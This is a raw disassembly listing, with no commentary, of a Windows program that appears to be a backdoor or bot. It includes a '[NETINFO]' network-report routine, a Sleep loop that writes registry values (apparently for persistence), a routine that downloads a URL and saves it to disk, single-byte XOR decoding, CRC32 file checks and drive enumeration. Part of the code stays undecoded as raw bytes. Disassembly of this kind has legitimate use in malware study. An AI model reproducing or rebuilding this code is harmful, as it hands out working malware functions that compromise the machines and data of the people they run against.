		lea	eax, [ebp+var_C]
		push	eax
		call	ds:dword_430678	; InternetGetConnectedStateExA
		test	eax, eax
		jnz	short loc_407CA5
		lea	eax, [ebp+var_8C]
		push	offset dword_422B58
		push	eax
		call	sub_41050B
		pop	ecx
		pop	ecx


loc_407CA5:				; CODE XREF: sub_407C50+40j
		test	[ebp+var_C], 1
		jz	short loc_407CBD
		push	offset dword_422B50


loc_407CB0:				; CODE XREF: sub_407C50+72j
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41050B
		pop	ecx
		pop	ecx
		jmp	short loc_407CE3
; ---------------------------------------------------------------------------


loc_407CBD:				; CODE XREF: sub_407C50+59j
		push	offset dword_422B4C
		jmp	short loc_407CB0
; ---------------------------------------------------------------------------


loc_407CC4:				; CODE XREF: sub_407C50+28j
		mov	esi, offset off_422B48
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41050B
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_41050B
		add	esp, 10h


loc_407CE3:				; CODE XREF: sub_407C50+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_407435
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_410A8A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_407C50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407D16	proc near		; CODE XREF: seg000:0040CDA2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_434B58
		mov	edi, 0B8h


loc_407D2A:				; CODE XREF: sub_407D16+33j
		cmp	byte ptr [esi],	0
		jz	short loc_407D4D
		push	[ebp+arg_0]
		push	esi
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407D4D
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_4356D8
		jl	short loc_407D2A
		jmp	short loc_407D8F
; ---------------------------------------------------------------------------


loc_407D4D:				; CODE XREF: sub_407D16+17j
					; sub_407D16+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_434B58[esi]
		push	ebx
		call	sub_410590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_411D00
		push	9Fh
		lea	eax, dword_434B70[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_411D00
		add	esp, 24h
		inc	ds:dword_42561C
		pop	ebx


loc_407D8F:				; CODE XREF: sub_407D16+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_407D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407D96	proc near		; CODE XREF: seg000:0040DDD8p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_422B74
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_434B58


loc_407DC0:				; CODE XREF: sub_407D96+72j
		cmp	byte ptr [esi],	0
		jz	short loc_407DFB
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_422B68
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_410A8A
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 2Ch


loc_407DFB:				; CODE XREF: sub_407D96+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_4356D8
		jl	short loc_407DC0
		pop	edi
		pop	esi
		leave
		retn
sub_407D96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407E0E	proc near		; CODE XREF: start+97p
					; seg000:004014CCp ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	ds:dword_41C000	; GetLocalTime
		mov	ebx, offset dword_434B10
		mov	edi, 80h
		mov	esi, offset dword_430B10


loc_407E30:				; CODE XREF: sub_407E0E+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_407E47
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_411D00
		add	esp, 0Ch


loc_407E47:				; CODE XREF: sub_407E0E+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_407E30
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_410A8A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407E0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407E82	proc near		; CODE XREF: sub_405982+15Bp
					; sub_405B0A+1AFp ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41232F
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_407E0E
		add	esp, 14h
		leave
		retn
sub_407E82	endp


; =============== S U B	R O U T	I N E =======================================



sub_407EAE	proc near		; CODE XREF: seg000:0040DCCFp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_430B10
		xor	ecx, ecx


loc_407EB5:				; CODE XREF: sub_407EAE+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_434B10
		jl	short loc_407EB5
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_422BA8
		jnz	short loc_407EE5
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_40E367
		add	esp, 14h


loc_407EE5:				; CODE XREF: sub_407EAE+1Fj
		push	esi
		call	sub_407E0E
		pop	ecx
		pop	esi
		retn
sub_407EAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407EEE	proc near		; DATA XREF: seg000:0040DD82o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_407F41
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_422C10
		push	eax
		push	[ebp+var_11C]
		call	sub_40E367
		add	esp, 14h


loc_407F41:				; CODE XREF: sub_407EEE+33j
		cmp	[ebp+var_98], 0
		jz	short loc_407F61
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_410A7F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_407F61
		mov	[ebp+var_8], eax


loc_407F61:				; CODE XREF: sub_407EEE+5Aj
					; sub_407EEE+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_430B10


loc_407F6A:				; CODE XREF: sub_407EEE+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_407FC4
		cmp	byte ptr [esi],	0
		jz	short loc_407FB3
		cmp	[ebp+var_98], 0
		jz	short loc_407F99
		cmp	[ebp+var_4], 0
		jnz	short loc_407F99
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_406E06
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407FB3


loc_407F99:				; CODE XREF: sub_407EEE+90j
					; sub_407EEE+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_40E367
		add	esp, 14h


loc_407FB3:				; CODE XREF: sub_407EEE+87j
					; sub_407EEE+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_434B10
		jl	short loc_407F6A


loc_407FC4:				; CODE XREF: sub_407EEE+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_422BE0
		push	eax
		call	sub_41050B
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_407FFE
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_40E367
		add	esp, 14h


loc_407FFE:				; CODE XREF: sub_407EEE+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_407E0E
		push	[ebp+var_18]
		call	sub_4102D3
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 3D0000h
		pushf
		pop	edi
		pop	esi
sub_407EEE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40801D	proc near		; CODE XREF: seg000:004070F7p
					; seg000:00408091p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_422C40
		xor	esi, esi
		mov	ebx, offset dword_423088


loc_408030:				; CODE XREF: sub_40801D+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	ds:dword_43074C	; RegCreateKeyExA
		cmp	[ebp+arg_0], esi
		jz	short loc_40806A
		push	[ebp+arg_0]
		call	sub_410B60
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_4307B8	; RegSetValueExA
		jmp	short loc_408074
; ---------------------------------------------------------------------------


loc_40806A:				; CODE XREF: sub_40801D+2Fj
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_43070C	; RegDeleteValueA


loc_408074:				; CODE XREF: sub_40801D+4Bj
		push	[ebp+var_4]
		call	ds:dword_430770	; RegCloseKey
		add	edi, 8
		cmp	edi, offset unk_422C58
		jl	short loc_408030
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40801D	endp

; ---------------------------------------------------------------------------


loc_40808D:				; CODE XREF: seg000:004080A3j
					; DATA XREF: sub_4089FD+52Fo
		push	dword ptr [esp+4]
		call	sub_40801D
		pop	ecx
		push	ds:dword_422C38
		call	ds:dword_41C058	; Sleep
		jmp	short loc_40808D

; =============== S U B	R O U T	I N E =======================================



sub_4080A5	proc near		; CODE XREF: seg000:00408136p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4080DA
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_4080BE:				; CODE XREF: sub_4080A5+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, ds:dword_41C23C[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_4080BE
		pop	edi
		pop	ebx


loc_4080DA:				; CODE XREF: sub_4080A5+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_4080A5	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_410C0F
		mov	dword ptr [esp], offset	aRb ; "rb"
		push	dword ptr [esp+14h]
		mov	esi, eax
		call	sub_411B4E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_40812F


loc_408105:				; CODE XREF: seg000:0040812Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_408133
		inc	ebx
		push	ebx
		push	esi
		call	sub_41237F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40812F
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_411A46
		add	esp, 10h
		jmp	short loc_408105
; ---------------------------------------------------------------------------


loc_40812F:				; CODE XREF: seg000:00408103j
					; seg000:00408119j
		xor	eax, eax
		jmp	short loc_40814E
; ---------------------------------------------------------------------------


loc_408133:				; CODE XREF: seg000:00408109j
		dec	ebx
		push	ebx
		push	esi
		call	sub_4080A5
		push	esi
		mov	ebx, eax
		call	sub_410C83
		push	edi
		call	sub_4119F0
		add	esp, 10h
		mov	eax, ebx


loc_40814E:				; CODE XREF: seg000:00408131j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_408152:				; DATA XREF: seg000:0040C1DDo
					; seg000:0040C851o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	ds:dword_430748
		call	ds:dword_4306B4	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_4085DE
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		call	ds:dword_41C078	; CreateFileA
		cmp	eax, edi	; CODE XREF: seg000:0040822Bj
		mov	[ebp-20h], eax
		jnb	short near ptr loc_408218+1
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_422ED0
		push	eax
		call	sub_41050B
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4081FC
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_40E367
		add	esp, 14h


loc_4081FC:				; CODE XREF: seg000:004081DAj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_407E0E
		push	dword ptr [ebp-48h]
		call	sub_4102D3
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 3D0000h


loc_408218:				; CODE XREF: seg000:004081BAj
		mov	al, ds:15FFFF33h
		dec	esp
		rol	byte ptr [ecx+0], 0BBh
		add	al, dl
		pop	es
		add	[ecx-17AC03BBh], cl
		loopne	near ptr loc_4081B5+1
; ---------------------------------------------------------------------------
		db 2 dup(0), 59h
		dd 68E44589h, 200h, 0FAF0858Dh,	5056FFFFh, 834BE8h, 0CC48300h
		dd 5008458Dh, 0FAF0858Dh, 68FFFFh, 50000002h, 0FFE875FFh
		dd 4306BC15h, 0CC753900h, 75FF1174h, 0F0858D08h, 50FFFFFAh
		dd 3CFE8h, 8D595900h, 5056DC45h, 0FAF0858Dh, 75FFFFFFh
		dd 75FF5008h, 7D72E8E0h, 3B8DFFFCh, 8B2273FBh, 3BC72BC3h
		dd 3760845h, 5008458Bh,	0FAF0858Dh, 8B50FFFFh, 0C703E445h
		dd 833EE850h, 0C4830000h, 87D030Ch, 74C47539h, 0C47D3B05h
		dd 7D834A77h, 0C78B01BCh, 0E8C11274h, 858D500Ah, 0FFFFFDB8h
		dd 2E846850h, 10EB0042h, 500AE8C1h, 0FDB8858Dh,	6850FFFFh
		dd 422E40h, 69B8458Bh, 234C0h, 56D80500h, 0E8500043h, 820Bh
		dd 3910C483h, 870F0875h, 0FFFFFF27h, 0C7C47539h, 1EC45h
		dd 49740000h, 74C47D3Bh, 0C475FF44h, 0FAF0858Dh, 7589FFFFh
		dd 0F86857ECh, 5000422Dh, 81D6E8h, 858D5600h, 0FFFFFAF0h
		dd 50D475FFh, 0FD38858Dh, 0FF50FFFFh, 0FFFD34B5h, 6015E8FFh
		dd 858D0000h, 0FFFFFAF0h, 0FAB0E850h, 0C483FFFFh, 4C15FF28h
		dd 2B0041C0h, 0D233FC45h, 3E8B9h, 0E075FF00h, 0D233F1F7h
		dd 0C78BC88Bh, 8BF1F741h, 7015FFD8h, 0FF0041C0h, 0F4E8E475h
		dd 39000088h, 7459C875h, 0B8858D56h, 50FFFFFEh,	0FFFD3FE8h
		dd 0C8453BFFh, 0FF447459h, 7589C875h, 858D50ECh, 0FFFFFAF0h
		dd 422DBC68h, 4CE85000h, 56000081h, 0FAF0858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFD38h, 34B5FF50h, 0E8FFFFFDh, 5F8Bh
		dd 0FAF0858Dh, 0E850FFFFh, 0FFFFFA26h, 3928C483h, 840FEC75h
		dd 237h, 1BC7D83h, 0E8840Fh, 5D890000h,	0FC7589F8h, 51F86DDFh
		dd 0F87D8951h, 0DCFC7589h, 41C6400Dh, 0B8858D00h, 0DDFFFFFEh
		dd 6DDF241Ch, 515150F8h, 0FAF0858Dh, 0DDCFFFFh,	41C640h
		dd 68241CDDh, 422D70h, 80CDE850h, 0C4830000h, 0D075391Ch
		dd 8D562075h, 0FFFAF085h, 0D475FFFFh, 38858D50h, 50FFFFFDh
		dd 0FD34B5FFh, 4E8FFFFh, 8300005Fh, 858D14C4h, 0FFFFFAF0h
		dd 0F99CE850h, 7D83FFFFh, 0F5901C0h, 1AE85h, 56056A00h
		dd 0FEB8858Dh, 5056FFFFh, 422D6868h, 15FF5600h,	430714h
		dd 0FD07539h, 18E85h, 0B8858D00h, 50FFFFFEh, 0FAF0858Dh
		dd 3868FFFFh, 5000422Dh, 8056E8h, 858D5600h, 0FFFFFAF0h
		dd 50D475FFh, 0FD38858Dh, 0FF50FFFFh, 0FFFD34B5h, 5E95E8FFh
		dd 858D0000h, 0FFFFFAF0h, 0F930E850h, 0C483FFFFh, 145E924h
		dd 5D890000h, 0FC7589F8h, 51F86DDFh, 0F87D8951h, 0DCFC7589h
		dd 41C6400Dh, 0B8858D00h, 0DDFFFFFEh, 6DDF241Ch, 515150F8h
		dd 0FAF0858Dh, 0DDCFFFFh, 41C640h, 68241CDDh, 422CE4h
		dd 7FE5E850h, 0C4830000h, 0D075391Ch, 8D562075h, 0FFFAF085h
		dd 0D475FFFFh, 38858D50h, 50FFFFFDh, 0FD34B5FFh, 1CE8FFFFh
		dd 8300005Eh, 858D14C4h, 0FFFFFAF0h, 0F8B4E850h, 106AFFFFh
		dd 56F0458Dh, 802AE850h, 446A0000h, 0FCF0858Dh,	575FFFFFh
		dd 19E85056h, 83000080h, 0BD891CC4h, 0FFFFFCF0h, 0C7F0458Dh
		dd 0FFFCFC85h, 42F3E8FFh, 66016A00h, 0FD20B589h, 505FFFFFh
		dd 0FCF0858Dh, 5650FFFFh, 56286A56h, 0B8858D56h, 56FFFFFEh
		dd 0BD895650h, 0FFFFFD1Ch, 0FC7A47E8h, 0C73B42FFh, 15FF1275h
		dd 430700h, 0FFEB10E8h,	15FF56FFh, 41C0F8h, 0FEB8858Dh
		dd 6850FFFFh, 422C98h
; ---------------------------------------------------------------------------
		jmp	short loc_4085EA
; ---------------------------------------------------------------------------


loc_4085DE:				; CODE XREF: seg000:00408197j
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_422C58


loc_4085EA:				; CODE XREF: seg000:004085DCj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41050B
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_40861E
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_40E367
		add	esp, 14h


loc_40861E:				; CODE XREF: seg000:004085FCj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_407E0E
		pop	ecx
		push	dword ptr [ebp-18h]
		call	ds:dword_4307C4	; InternetCloseHandle
		push	dword ptr [ebp-48h]
		call	sub_4102D3
		pop	ecx
		push	esi
		call	near ptr 3D0000h
		retf
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		xor	ecx, ecx
		cmp	[esp+8], ecx
		jle	short locret_408660


loc_408650:				; CODE XREF: seg000:0040865Ej
		mov	dl, ds:byte_42300C
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+8]
		jl	short loc_408650

locret_408660:				; CODE XREF: seg000:0040864Ej
		retn

; =============== S U B	R O U T	I N E =======================================



sub_408661	proc near		; CODE XREF: seg000:0040B421p
					; seg000:0040B580p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41249F
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_408661	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40867B	proc near		; CODE XREF: sub_404134+45Dp
					; sub_404134+5F9p ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_434B14
		push	0
		push	edi
		call	sub_410590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_4086A0:				; CODE XREF: sub_40867B+5Bj
					; sub_40867B+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_412100
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_412180
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_4086DE
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_4086A0
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_4086A0
; ---------------------------------------------------------------------------


loc_4086DE:				; CODE XREF: sub_40867B+4Bj
		dec	esi
		mov	eax, edi


loc_4086E1:				; CODE XREF: sub_40867B+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_4086F0
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_4086E1
; ---------------------------------------------------------------------------


loc_4086F0:				; CODE XREF: sub_40867B+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40867B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4086FA	proc near		; CODE XREF: sub_4088A6+51p
					; sub_4088A6+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_4307F0	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_40873D
		dec	eax
		jz	short loc_408737
		dec	eax
		dec	eax
		jz	short loc_408731
		dec	eax
		jz	short loc_40872B
		dec	eax
		jz	short loc_408725
		dec	eax
		jz	short loc_40871F
		mov	eax, offset word_422AD8
		retn
; ---------------------------------------------------------------------------


loc_40871F:				; CODE XREF: sub_4086FA+1Dj
		mov	eax, offset aRam ; "RAM"
		retn
; ---------------------------------------------------------------------------


loc_408725:				; CODE XREF: sub_4086FA+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_40872B:				; CODE XREF: sub_4086FA+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_408731:				; CODE XREF: sub_4086FA+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_408737:				; CODE XREF: sub_4086FA+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_40873D:				; CODE XREF: sub_4086FA+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4086FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408743	proc near		; CODE XREF: sub_40878B+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_4306A0
		test	eax, eax
		jz	short loc_408778
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_408778:				; CODE XREF: sub_408743+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_408743	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40878B	proc near		; CODE XREF: sub_40799C+1F3p
					; sub_4088A6+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_408743
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_408863
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_408863
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_408863
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_4124F0
		push	edx
		push	eax
		call	sub_40867B
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_410A8A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_4124F0
		push	edx
		push	eax
		call	sub_40867B
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_410A8A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_4124F0
		push	edx
		push	eax
		call	sub_40867B
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_410A8A
		add	esp, 18h
		pop	ebx
		jmp	short loc_408892
; ---------------------------------------------------------------------------


loc_408863:				; CODE XREF: sub_40878B+2Cj
					; sub_40878B+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41050B
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41050B
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41050B
		add	esp, 18h


loc_408892:				; CODE XREF: sub_40878B+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40878B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4088A6	proc near		; CODE XREF: sub_408978+17p
					; sub_408978+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
